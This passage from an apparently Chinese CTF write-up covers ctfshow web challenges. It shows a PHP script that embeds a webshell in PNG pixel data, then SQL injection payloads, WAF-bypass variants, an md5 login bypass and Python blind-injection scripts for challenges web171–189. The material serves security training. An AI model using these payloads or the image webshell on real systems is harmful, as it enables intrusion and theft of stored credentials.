0xdc, 0xa3, 0x9f,\n           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,\n           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,\n           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,\n           0x66, 0x44, 0x50, 0x33);\n\n\n\n$img = imagecreatetruecolor(32, 32);\n\nfor ($y = 0; $y &lt; sizeof($p); $y += 3) {\n   $r = $p&#91;$y];\n   $g = $p&#91;$y+1];\n   $b = $p&#91;$y+2];\n   $color = imagecolorallocate($img, $r, $g, $b);\n   imagesetpixel($img, round($y \/ 3), 0, $color);\n}\n\nimagepng($img,'2.png');  \/\/\u8981\u4fee\u6539\u7684\u56fe\u7247\u7684\u8def\u5f84\n\/* \u6728\u9a6c\u5185\u5bb9\n&lt;?$_GET&#91;0]($_POST&#91;1]);?&gt;\n *\/\necho \"\u6267\u884c\u6210\u529f\uff01\";\n\n?&gt;\n<\/code><\/pre>\n\n\n\n<p>\u6267\u884c\u5b8c\u8fd9\u6bb5\u4ee3\u7801\u540e\u6211\u4eec\u4f1a\u4fee\u65392.png\u7684\u6570\u636e\uff0c\u786e\u4fdd\u5b83\u5728\u4e0d\u6539\u53d8\u81ea\u8eabpng\u683c\u5f0f\u7684\u60c5\u51b5\u4e0b\u591a\u4e00\u6bb5\u6076\u610f\u4ee3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-11.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"775\" height=\"329\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-11.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1161\"  sizes=\"auto, (max-width: 775px) 100vw, 775px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u6b63\u5e38\u7684\u4e0a\u4f20\u8fd9\u4e2a\u56fe\u7247\uff0c\u7136\u540e\u5728\u56fe\u7247\u67e5\u770b\u7684\u4f4d\u7f6e\u6267\u884c\u6211\u4eec\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/2-2-1024x343.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"343\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/2-2-1024x343.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1162\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540ectrl s\u4fdd\u5b58\u56fe\u7247\u5373\u53ef\u5728\u6e90\u6570\u636e\u627e\u5230\u4ee3\u7801\u6267\u884c\u7ed3\u679c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-12.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"766\" height=\"428\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-12.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1163\"  sizes=\"auto, (max-width: 766px) 100vw, 766px\" \/><\/div><\/figure>\n\n\n\n<p>\u539f\u7406\u5e94\u8be5\u662f\u4f7f\u7528imagecreatefrompng()\u521b\u5efa\u4e00\u5757\u753b\u5e03\uff0c\u5e76\u4ece PNG \u6587\u4ef6\u6216 URL \u5730\u5740\u8f7d\u5165\u4e00\u526f\u56fe\u50cf\u7684\u540c\u65f6\u6267\u884c\u4e86png\u91cc\u7684\u90a3\u6bb5\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7sql\u6ce8\u5165<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web171<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$sql = \"select username,password from user where username !='flag' and id = '\".$_GET&#91;'id'].\"' limit 1;\";<\/code><\/pre>\n\n\n\n<p>sqlmap\u4e00\u628a\u68ad(sql.txt\u662f\u4fdd\u5b58\u7684\u8bf7\u6c42\u5305)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -r sql.txt -p id --dump --time-sec 1 --tamper=space2hash<\/code><\/pre>\n\n\n\n<p>\u6216\u8005\u4e07\u80fd\u5bc6\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1'or 1=1%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web172<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$sql = \"select username,password from user where username !='flag' and id = '\".$_GET&#91;'id'].\"' limit 1;\";<\/code><\/pre>\n\n\n\n<p>\u7528\u4e07\u80fd\u5bc6\u7801\u6ca1\u627e\u5230\uff0c\u53bb\u5176\u4ed6\u8868\u770b\u770b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>1' union select password,2,3 from ctfshow_user2%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$sql = \"select id,username,password from ctfshow_user3 where username !='flag' and id = '\".$_GET&#91;'id'].\"' limit 1;\";<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u903b\u8f91<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if(!preg_match('\/flag\/i', json_encode($ret))){\n      $ret&#91;'msg']='\u67e5\u8be2\u6210\u529f';\n    }<\/code><\/pre>\n\n\n\n<p>\u4e0d\u80fd\u76f4\u63a5\u8fd4\u56deflag\uff0c\u628a\u5b83\u5904\u7406\u4e00\u4e0b\u5373\u53ef\uff0c\u56db\u79cd\u65b9\u6cd5<\/p>\n\n\n\n<p>hex<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0' union select 1,hex(password),3 from ctfshow_user3 %23<\/code><\/pre>\n\n\n\n<p>base64<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0' union select 1,to_base64(password),3 from ctfshow_user3 %23<\/code><\/pre>\n\n\n\n<p>\u7ffb\u8f6c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0' union select reverse(password),2,3 from ctfshow_user3%23<\/code><\/pre>\n\n\n\n<p>\u622a\u65ad<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0' union select substr(password,2),2,3 from ctfshow_user3%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web174<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$sql = \"select username,password from ctfshow_user4 where username !='flag' and id = '\".$_GET&#91;'id'].\"' limit 1;\";<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u903b\u8f91<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> if(!preg_match('\/flag|&#91;0-9]\/i', json_encode($ret))){\n      $ret&#91;'msg']='\u67e5\u8be2\u6210\u529f';\n    }\n    <\/code><\/pre>\n\n\n\n<p>\u4e5f\u5c31\u662f\u67e5\u8be2\u503c\u4e0d\u51c6\u8fd4\u56de\u6570\u5b57\uff0c\u628a\u6570\u5b57\u8f6c\u6362\u6210\u5b57\u6bcd\u5148\u67e5\u8be2\u51fa\u503c\u7136\u540e\u8f6c\u5316\u56de\u6765\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>nb='nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbhnbfnbbnbcnbcnbcnbenbfnbbnbfnbenbfnbcnbfnbanbbDnbcnbcnbcnbgnbcnbgnbfnbdnbbDnbcnbdnbcnbbnbfnbfnbcnbhnbbDnbcnbhnbfnbanbfnbdnbcnbdnbbDnbcnbfnbfnbcnbfnbanbfnbbnbcnbgnbcnbhnbcnbenbfnbfnbcnbcnbcnbdnbfnbanbfnbbnbgD'\n\nnb=nb.replace('nba','1').replace('nbb','2').replace('nbc','3').replace('nbd','4').replace('nbe','5').replace('nbf','6').replace('nbg','7').replace('nbh','8').replace('nbi','9').replace('nbj','0')\n\nflag = bytes.fromhex(nb).decode(\"ascii\")\n\nprint(flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web175<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$sql = \"select username,password from ctfshow_user5 where username !='flag' and id = '\".$_GET&#91;'id'].\"' limit 1;\";<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>if(!preg_match('\/&#91;\\x00-\\x7f]\/i', json_encode($ret))){\n      $ret&#91;'msg']='\u67e5\u8be2\u6210\u529f';\n    }<\/code><\/pre>\n\n\n\n<p>\u5fc5\u987b\u975eASCII\u5b57\u7b26\u624d\u80fd\u83b7\u5f97\u8fd4\u56de\u503c\uff0c0-127\u7684\u5b57\u7b26\u90fd\u6ca1\u5566\u3002<\/p>\n\n\n\n<p>\u505a\u6cd5\u4e00\uff1a<\/p>\n\n\n\n<p>\u628a\u6570\u636e\u4fdd\u5b58\u52301.txt\u91cc\u7136\u540e\u8bbf\u95ee\u5373\u53ef(\u5199\u9a6c\u4f3c\u4e4e\u4e5f\u884c)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1' union select 1,group_concat(password) from ctfshow_user5 into outfile '\/var\/www\/html\/1.txt'--+<\/code><\/pre>\n\n\n\n<p>\u505a\u6cd5\u4e8c\uff1a<\/p>\n\n\n\n<p>\u76f2\u6ce8<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nfrom time import time\n \nurl='http:\/\/e9a0003b-c5a4-47a5-af60-38145f1bfbf2.challenge.ctf.show\/api\/v5.php'\n \nflag=''\n \nfor i in range(1,100):\n    length=len(flag)\n    min=32\n    max=128\n    while 1:\n        j=min+(max-min)\/\/2\n        if min==j:\n            flag+=chr(j)\n            print(flag)\n            break\n \n        payload=\"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))&lt;%d,sleep(0.5),1) -- -\"%(i,j)\n        start_time=time()\n        r=requests.get(url=url+payload).text\n        end_time=time()\n        if end_time-start_time&gt;0.48:\n            max=j\n        else :\n            min=j<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web176<\/h2>\n\n\n\n<p>\u6709waf\u4f46\u4e0d\u77e5\u9053waf\u662f\u5565\uff0cfuzz\u4e86\u4e00\u4e0b\uff0c\u662f\u8fc7\u6ee4\u4e86\u5c0f\u5199select\uff0c\u7528\u5927\u5199\u7ed5\u8fc7\u5373\u53ef(\u5982\u679c\u662f\u66ff\u6362\u4e3a\u7a7a\u53ef\u4ee5\u7528\u53cc\u5199\uff0c\u8fd9\u91cc\u597d\u50cf\u4e0d\u662f)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0' union SELECT password,2,3 from ctfshow_user%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web177<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u7a7a\u683c\uff0c\u51e0\u4e2apayload\u90fd\u80fd\u66ff\u6362<\/p>\n\n\n\n<p>\/**\/\u66ff\u6362<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0'\/**\/union\/**\/SELECT\/**\/password,2,3\/**\/from\/**\/ctfshow_user%23<\/code><\/pre>\n\n\n\n<p>%0C\u66ff\u6362<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23<\/code><\/pre>\n\n\n\n<p>\u8fd8\u6709%0a\u3001%0b\u3001%0c\u3001%0d\u3001%09(tab\u952e)\u3001%a0\u7b49\u7b49<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web178<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\/**\/\uff0c\u4ece\u4e0a\u9762\u627e\u4e2a\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web179<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86%0a %09\uff0c\u8fd8\u662f\u7528%0C\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web180<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u6ce8\u91ca\u7b26<code>#<\/code>\u548c<code>--<\/code>\uff0c\u53ef\u4ee5\u7528\u20191\u2019=&#8217;1\u6765\u95ed\u5408\u540e\u8fb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web181<\/h2>\n\n\n\n<p>\u76f4\u63a5\u8ba9\u4ed6\u663e\u793aflag\u7528\u6237\u7684\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>id=0'||username='flag<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web182<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86flag\uff0c\u6b63\u5219\u5339\u914d\u4e00\u624b\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>id=0'||(username)regexp'f<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web183<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>$sql = \"select count(pass) from \".$_POST&#91;'tableName'].\";\";<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>function waf($str){\n    return preg_match('\/ |\\*|\\x09|\\x0a|\\x0b|\\x0c|\\x0d|\\xa0|\\x00|\\#|\\x23|file|\\=|or|\\x7c|select|and|flag|into\/i', $str);\n  }<\/code><\/pre>\n\n\n\n<p>\u7a7a\u683c\u8fc7\u6ee4\u4e86\u7528\u62ec\u53f7\u4ee3\u66ff\uff0c\u7b49\u53f7\u8fc7\u6ee4\u4e86\u53ef\u4ee5\u7528like\u6216\u8005regexp\uff0c\u4f46\u6709\u4e2a\u7f3a\u70b9\u5c31\u662f\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0c\u6211\u4eec\u5728\u524d\u9762\u52a0\u4e2abinary\u5c31\u884c\u4e86\uff0c\u5077\u4e00\u624b\u7fbd\u5e08\u5085\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#author:yu22x\nimport requests\nimport string\nurl=\"http:\/\/0be2b54b-f4b2-4843-a369-5878015eeca6.challenge.ctf.show\/select-waf.php\"\ns=string.digits+string.ascii_lowercase+\"{_-}\"\nflag=''\nfor i in range(1,45):\n  print(i)\n  for j in s:\n    data={\n    'tableName':f'(ctfshow_user)where(pass)regexp(\"^ctfshow{flag+j}\")'\n    }\n    #print(data)\n    r=requests.post(url,data=data)\n    #print(r.text)\n    if(\"user_count = 1\"  in r.text):\n      flag+=j\n      print(flag)\n      break\n<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u89e3\u91ca\u4e00\u4e0b\uff0c\u5c31\u662f\u7528(ctfshow_user)where(pass)regexp(&#8220;^ctfshow{flag+j}&#8221;)\u4e00\u4e2a\u4e00\u4e2a\u5339\u914dflag\uff0cflag+j\u5c31\u662f\u9010\u4e2a\u904d\u5386\u5404\u4e2a\u5b57\u7b26\uff0c\u5982\u679c\u6211\u4eec\u731c\u6d4b\u7684flag\u786e\u5b9e\u662f\u771f\u5b9eflag\u7684\u4e00\u90e8\u5206\u5c31\u4f1a\u8fd4\u56deuser_count = 1\uff0c\u6700\u540e\u6162\u6162\u76f2\u6ce8\u51fa\u6765\u771f\u5b9e\u7684flag\uff0c\u56e0\u4e3aregexp(&#8220;^ctfshow{flag+j}&#8221;)\u662f\u4e00\u79cd\u6b63\u5219\u6ce8\u5165\uff0c\u82e5\u5339\u914d\u5219\u8fd4\u56de1\uff0c\u4e0d\u5339\u914d\u8fd4\u56de0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web184<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u5bf9\u4f20\u5165\u7684\u53c2\u6570\u8fdb\u884c\u4e86\u8fc7\u6ee4\n  function waf($str){\n    return preg_match('\/\\*|\\x09|\\x0a|\\x0b|\\x0c|\\0x0d|\\xa0|\\x00|\\#|\\x23|file|\\=|or|\\x7c|select|and|flag|into|where|\\x26|\\'|\\\"|union|\\`|sleep|benchmark\/i', $str);\n  }<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86where\u53ef\u4ee5\u4f7f\u7528having\uff0c\u8fc7\u6ee4\u4e86\u5f15\u53f7\u53ef\u4ee5\u4f7f\u752816\u8fdb\u5236\uff0cwhere\u548chaving\u7528\u6cd5\u7684\u533a\u522b\u53ef\u53c2\u8003<code>https:\/\/blog.csdn.net\/yexudengzhidao\/article\/details\/54924471<\/code>\uff0c\u5176\u5b9e\u4e5f\u5c31\u7b80\u5355\u6539\u6539\u4e0a\u9762\u811a\u672c\u7684\u8bed\u6cd5\u5c31\u884c\u4e86\uff0c\u7ee7\u7eed\u5077\u4e00\u624b\u7fbd\u5e08\u5085\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#author:yu22x\nimport requests\nimport string\nurl=\"http:\/\/e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show\/select-waf.php\"\ns=string.digits+string.ascii_lowercase+\"{_-}\"\ndef asc2hex(s):\n    a1 = ''\n    a2 = ''\n    for i in s:\n        a1+=hex(ord(i))\n    a2 = a1.replace(\"0x\",\"\")\n    return a2\nflag=''\nfor i in range(1,45):\n  print(i)\n  for j in s:\n    d = asc2hex(f'^ctfshow{flag+j}')\n    data={\n    'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'\n    }\n    #print(data)\n    r=requests.post(url,data=data)\n    #print(r.text)\n    if(\"user_count = 1\"  in r.text):\n      flag+=j\n      print(flag)\n      break\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web185<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  function waf($str){\n    return preg_match('\/\\*|\\x09|\\x0a|\\x0b|\\x0c|\\0x0d|\\xa0|\\x00|\\#|\\x23|&#91;0-9]|file|\\=|or|\\x7c|select|and|flag|into|where|\\x26|\\'|\\\"|union|\\`|sleep|benchmark\/i', $str);\n  }<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e861\u52309\u7684\u6570\u5b57\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u5176\u4ed6\u65b9\u5f0f\u8868\u8fbe\u6570\u5b57\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528true\u62fc\u63a5\u51fa\u6570\u5b57\uff0c\u518d\u4f7f\u7528char\u51fd\u6570\u8f6c\u6362\u6210\u5b57\u7b26\uff0c\u6700\u540e\u4f7f\u7528concat\u8fdb\u884c\u62fc\u63a5\u3002\u6bd4\u5982\u60f3\u83b7\u53d6\u5b57\u7b26c,c\u7684ascii\u4e3a99\uff0cc\u5c31\u53ef\u4ee5\u7b49\u4e8e<code>char(ture+ture+ture......)<\/code> (99\u4e2atrue)\uff0c\u7fbd\u5e08\u5085\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#author:yu22x\nimport requests\nimport string\nurl=\"http:\/\/f15a113d-2bae-432c-8dc6-a2cb1fe7b54e.challenge.ctf.show\/select-waf.php\"\ns='0123456789abcdef-{}'\ndef convert(strs):\n  t='concat('\n  for s in strs:\n    t+= 'char(true'+'+true'*(ord(s)-1)+'),'\n  return t&#91;:-1]+\")\"\nflag=''\nfor i in range(1,45):\n  print(i)\n  for j in s:\n    d = convert(f'^ctfshow{flag+j}')\n    data={\n    'tableName':f' ctfshow_user group by pass having pass regexp({d})'\n    }\n    #print(data)\n    r=requests.post(url,data=data)\n    #print(r.text)\n    if(\"user_count = 1\"  in r.text):\n      flag+=j\n      print(flag)\n      if j=='}':\n        exit(0)\n      break\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web186<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u5bf9\u4f20\u5165\u7684\u53c2\u6570\u8fdb\u884c\u4e86\u8fc7\u6ee4\n  function waf($str){\n    return preg_match('\/\\*|\\x09|\\x0a|\\x0b|\\x0c|\\0x0d|\\xa0|\\%|\\&lt;|\\&gt;|\\^|\\x00|\\#|\\x23|&#91;0-9]|file|\\=|or|\\x7c|select|and|flag|into|where|\\x26|\\'|\\\"|union|\\`|sleep|benchmark\/i', $str);\n  }<\/code><\/pre>\n\n\n\n<p>\u8fd8\u662f\u80fd\u7528\u4e0a\u9762\u7684\u811a\u672c\u6253<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web187<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u62fc\u63a5sql\u8bed\u53e5\u67e5\u627e\u6307\u5b9aID\u7528\u6237\n  $sql = \"select count(*) from ctfshow_user where username = '$username' and password= '$password'\";<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>    $username = $_POST&#91;'username'];\n    $password = md5($_POST&#91;'password'],true);\n\n    \/\/\u53ea\u6709admin\u53ef\u4ee5\u83b7\u5f97flag\n    if($username!='admin'){\n        $ret&#91;'msg']='\u7528\u6237\u540d\u4e0d\u5b58\u5728';\n        die(json_encode($ret));\n    }\n      <\/code><\/pre>\n\n\n\n<p>md5(&#8216;ffifdyop&#8217;,true)= &#8216;or&#8217;6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c\uff0c\u95ed\u5408\u6389\u4e86\u5f15\u53f7\u5e76\u4e14\u5b58\u5728or\uff0c\u6240\u4ee5\u53ef\u4ee5\u76f4\u63a5\u767b\u5f55\u6210\u529f\uff0c\u6240\u4ee5\u7528admin+ffifdyop\u767b\u5f55\u5373\u53ef\uff0c\u6700\u540e\u5728\u8fd4\u56de\u5305\u627e\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-24-1024x256.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"256\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-24-1024x256.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1293\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web188<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/\u62fc\u63a5sql\u8bed\u53e5\u67e5\u627e\u6307\u5b9aID\u7528\u6237\n  $sql = \"select pass from ctfshow_user where username = {$username}\";<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code> \/\/\u7528\u6237\u540d\u68c0\u6d4b\n  if(preg_match('\/and|or|select|from|where|union|join|sleep|benchmark|,|\\(|\\)|\\'|\\\"\/i', $username)){\n    $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u68c0\u6d4b\n  if(!is_numeric($password)){\n    $ret&#91;'msg']='\u5bc6\u7801\u53ea\u80fd\u4e3a\u6570\u5b57';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u5224\u65ad\n  if($row&#91;'pass']==intval($password)){\n      $ret&#91;'msg']='\u767b\u9646\u6210\u529f';\n      array_push($ret&#91;'data'], array('flag'=&gt;$flag));\n    }<\/code><\/pre>\n\n\n\n<p>\u53ea\u8981\u8f93\u5165\u7684\u5bc6\u7801\u7ecf\u8fc7intval\u51fd\u6570\u540e\u5f31\u7b49\u4e8e\u67e5\u8be2\u51fa\u7684\u5bc6\u7801\u5c31\u53ef\u4ee5\u83b7\u5f97flag\uff0c\u6240\u4ee5\u5982\u679c\u771f\u6b63\u7684\u5bc6\u7801\u662f\u5b57\u6bcd\u6211\u4eec\u5c31\u80fd\u75280\u7b49\u4e8e\u6210\u529f\uff0c\u800c\u7528\u6237\u540d\u6211\u4eec\u4e5f\u53ef\u4ee5\u75280\uff0c\u56e0\u4e3ausername\u4e00\u822c\u662f\u5b57\u7b26\u4e32\uff0c\u5728mysql\u4e2d\u5b57\u7b26\u4e32\u4e0e\u6570\u5b57\u8fdb\u884c\u6bd4\u8f83\u7684\u65f6\u5019\uff0c\u4ee5\u5b57\u6bcd\u5f00\u5934\u7684\u5b57\u7b26\u4e32\u90fd\u4f1a\u8f6c\u6362\u6210\u6570\u5b570\uff0c\u6240\u4ee5where username = 0\u4f1a\u628a\u6240\u6709\u6570\u636e\u90fd\u67e5\u51fa\u6765<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>username=0&amp;password=0<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web189<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\n  \/\/\u7528\u6237\u540d\u68c0\u6d4b\n  if(preg_match('\/select|and| |\\*|\\x09|\\x0a|\\x0b|\\x0c|\\x0d|\\xa0|\\x00|\\x26|\\x7c|or|into|from|where|join|sleep|benchmark\/i', $username)){\n    $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u68c0\u6d4b\n  if(!is_numeric($password)){\n    $ret&#91;'msg']='\u5bc6\u7801\u53ea\u80fd\u4e3a\u6570\u5b57';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u5224\u65ad\n  if($row&#91;'pass']==$password){\n      